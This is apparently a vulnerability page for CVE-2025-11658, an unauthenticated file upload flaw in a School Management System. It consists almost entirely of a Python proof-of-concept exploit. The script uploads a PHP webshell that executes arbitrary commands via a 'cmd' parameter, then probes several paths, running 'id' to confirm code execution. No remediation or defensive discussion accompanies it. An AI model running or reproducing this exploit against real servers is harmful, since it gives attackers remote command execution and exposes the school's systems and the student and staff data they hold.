CVE-2025-11658：School Management System任意文件上传漏洞

#!/usr/bin/env python3 # CVE-2025-11658 - School Management System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /assets/changeSllyabus.php # The File parameter does not validate file type/extension, allowing arbitrary file upload import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" UPLOAD_PATH = "/assets/changeSllyabus.php" SHELL_PATH = "/assets/" # Malicious PHP webshell payload PHP_SHELL = b"""<?php // CVE-2025-11658 PoC - Webshell if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" def exploit(target_url): upload_url = target_url.rstrip('/') + UPLOAD_PATH # Prepare the malicious file for upload files = { "File": ("shell.php", PHP_SHELL, "application/x-php") } print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious PHP shell to: {upload_url}") try: # Send the upload request - no authentication required response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload request sent successfully (HTTP {response.status_code})") shell_url = target_url.rstrip('/') + SHELL_PATH + "shell.php" print(f"[*] Attempting to access uploaded shell at: {shell_url}") # Verify the shell is accessible shell_check = requests.get(shell_url + "?cmd=id", timeout=10) if shell_check.status_code == 200 and ("uid=" in shell_check.text or "www-data" in shell_check.text): print(f"[+] SUCCESS! Shell is accessible at: {shell_url}") print(f"[+] Command execution confirmed: {shell_check.text.strip()}") return True else: print(f"[-] Shell uploaded but not accessible (HTTP {shell_check.status_code})") # Try alternative paths for path in ["/assets/uploads/shell.php", "/uploads/shell.php", "/shell.php"]: alt_url = target_url.rstrip('/') + path alt_check = requests.get(alt_url + "?cmd=id", timeout=10) if alt_check.status_code == 200 and "uid=" in alt_check.text: print(f"[+] Shell found at alternative path: {alt_url}") return True else: print(f"[-] Upload failed (HTTP {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if exploit(TARGET_URL): print("\n[!] Exploitation successful - server is vulnerable to CVE-2025-11658") else: print("\n[-] Exploitation failed or target is not vulnerable")